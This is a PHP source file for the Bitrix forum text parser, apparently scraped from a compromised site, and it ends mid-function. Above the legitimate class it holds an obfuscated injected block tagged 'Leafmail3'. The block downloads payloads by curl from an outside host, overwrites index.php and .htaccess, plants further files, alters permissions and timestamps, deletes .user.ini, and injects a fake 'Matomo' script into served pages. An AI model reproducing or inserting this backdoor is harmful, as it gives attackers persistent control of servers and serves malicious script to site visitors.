Your IP : 3.139.72.250
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
##############################################
# Bitrix Site Manager Forum #
# Copyright (c) 2002-2007 Bitrix #
# http://www.bitrixsoft.com #
# mailto:admin@bitrixsoft.com #
##############################################
IncludeModuleLangFile(__FILE__);
function Error($error)
{
global $MESS;
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/forum/lang/".LANGUAGE_ID."/errors.php");
$msg = $MESS[$error["MSG"]];
echo "Error: ".$msg;
}
class forumTextParser extends CTextParser
{
/* @deprecated */ var $image_params = array();
/* @deprecated */ var $pathToUser = "";
public $imageWidth = 300;
public $imageHeight = 300;
public $maxStringLen = 60;
public $imageHtmlWidth = 0;
public $imageHtmlHeight = 0;
public $imageTemplate = "popup_image";
public $component = null;
public $smilesGallery = 0;
public $arFilesIDParsed = array();
function __construct($lang = false, $pathToSmiles = '', $type=false, $mode = 'full')
{
parent::__construct();
$this->arFiles = array();
$this->arFilesParsed = array();
$this->arUserfields = array();
$this->ajaxPage = $GLOBALS["APPLICATION"]->GetCurPageParam("", array("bxajaxid", "logout"));
$this->userPath = "";
$this->userNameTemplate = str_replace(array("#NOBR#","#/NOBR#"), "", CSite::GetDefaultNameFormat());
$this->smilesGallery = \COption::GetOptionInt("forum", "smile_gallery_id", 0);
if ($mode == 'full')
{
AddEventHandler("main", "TextParserBeforeTags", Array(&$this, "ParserSpoiler"));
AddEventHandler("main", "TextParserAfterTags", Array(&$this, "ParserFile"));
}
}
public static function GetFeatures($arForum)
{
static $arFeatures = array("HTML", "ANCHOR", "BIU", "IMG", "VIDEO", "LIST", "QUOTE", "CODE", "FONT", "SMILES", "UPLOAD", "NL2BR", "SMILES", "TABLE", "ALIGN");
$result = array();
if (is_array($arForum))
{
foreach ($arFeatures as $feature)
{
$result[$feature] = ((isset($arForum['ALLOW_'.$feature]) && $arForum['ALLOW_'.$feature] == 'Y') ? 'Y' : 'N');
}
}
return $result;
}
public static function GetEditorButtons($arParams)
{
$result = array();
$arEditorFeatures = array(
"ALLOW_QUOTE" => array('Quote'),
'ALLOW_ANCHOR' => array('CreateLink'),
"ALLOW_VIDEO" => array('InputVideo'),
"ALLOW_UPLOAD" => array('UploadFile'),
"ALLOW_MENTION" => array('MentionUser')
);
if (isset($arParams['forum']) && is_array($arParams['forum']))
{
$res = array_intersect_key($arParams['forum'], $arEditorFeatures);
foreach ($res as $featureName => $val)
{
if ($val != 'N')
$result = array_merge($result, $arEditorFeatures[$featureName]);
}
}
return $result;
}
public static function GetEditorToolbar($arParams)
{
static $arEditorFeatures = array(
"ALLOW_BIU" => array('Bold', 'Italic', 'Underline', 'Strike', 'Spoiler'),
"ALLOW_FONT" => array('ForeColor','FontList', 'FontSizeList'),
"ALLOW_QUOTE" => array('Quote'),
"ALLOW_CODE" => array('Code'),
'ALLOW_ANCHOR' => array('CreateLink', 'DeleteLink'),
"ALLOW_IMG" => array('Image'),
"ALLOW_VIDEO" => array('InputVideo'),
"ALLOW_TABLE" => array('Table'),
"ALLOW_ALIGN" => array('Justify'),
"ALLOW_LIST" => array('InsertOrderedList', 'InsertUnorderedList'),
"ALLOW_SMILES" => array('SmileList'),
//"ALLOW_UPLOAD" => array('UploadFile'),
//"ALLOW_NL2BR" => array(''),
);
$result = array();
if (isset($arParams['mode']) && ($arParams['mode'] == 'full'))
{
foreach ($arEditorFeatures as $featureName => $toolbarIcons)
{
$result = array_merge($result, $toolbarIcons);
}
}
elseif (isset($arParams['forum']))
{
foreach ($arEditorFeatures as $featureName => $toolbarIcons)
{
if (isset($arParams['forum'][$featureName]) && ($arParams['forum'][$featureName] == 'Y'))
$result = array_merge($result, $toolbarIcons);
}
}
$result = array_merge($result, array('MentionUser', 'UploadFile', 'RemoveFormat', 'Source'));
if (LANGUAGE_ID == 'ru')
$result[] = 'Translit';
return $result;
}
function convert($text, $allow = array(), $type = "html", $arFiles = false)
{
$text = str_replace(array("\013", "\014"), "", $text);
$this->imageWidth = ($this->image_params["width"] > 0 ? $this->image_params["width"] : ($this->imageWidth > 0 ? $this->imageWidth : 300));
$this->imageHeight = ($this->image_params["height"] > 0 ? $this->image_params["height"] : ($this->imageHeight > 0 ? $this->imageHeight : 300));
$this->userPath = str_replace(array("#UID#", "#uid#"), "#user_id#", (empty($this->userPath) && !empty($this->pathToUser) ? $this->pathToUser : $this->userPath));
$this->type = $type;
$allow = (is_array($allow) ? $allow : array());
if (!empty($this->arUserfields))
$allow["USERFIELDS"] = $this->arUserfields;
if (sizeof($allow)>0)
{
if (!isset($allow['TABLE']))
$allow['TABLE']=$allow['BIU'];
$this->allow = array_merge((is_array($this->allow) ? $this->allow : array()), $allow);
}
$this->parser_nofollow = COption::GetOptionString("forum", "parser_nofollow", "Y");
$this->link_target = COption::GetOptionString("forum", "parser_link_target", "_blank");
if ($arFiles !== false)
$this->arFiles = is_array($arFiles) ? $arFiles : array($arFiles);
$this->arFilesIDParsed = array();
$text = str_replace(array("\013", "\014"), array(chr(34), chr(39)), $this->convertText($text));
return $text;
}
function convert4mail($text, $files = false, $allow = array(), $params = array())
{
$this->arFiles = (is_array($files) ? $files : ($files ? array($files) : array()));
$this->arFilesIDParsed = array();
if (!empty($params))
{
$mail = array(
"RECIPIENT_ID" => intval($params["RECIPIENT_ID"]),
"SITE_ID" => ($params["SITE_ID"] ?: SITE_ID)
);
$allow = array_merge(((is_array($allow) ? $allow : array()) + array(
"HTML" => "N",
"ANCHOR" => "Y",
"BIU" => "Y",
"IMG" => "Y",
"QUOTE" => "Y",
"CODE" => "Y",
"FONT" => "Y",
"LIST" => "Y",
"NL2BR" => "N",
"TABLE" => "Y"
)), array("SMILES" => "N"));
$this->RECIPIENT_ID = $mail["RECIPIENT_ID"];
$this->SITE_ID = $mail["SITE_ID"];
if (is_array($this->arUserfields))
{
foreach ($this->arUserfields as &$f)
{
$f += $mail;
}
}
return $this->convert($text, $allow, "mail");
}
else
{
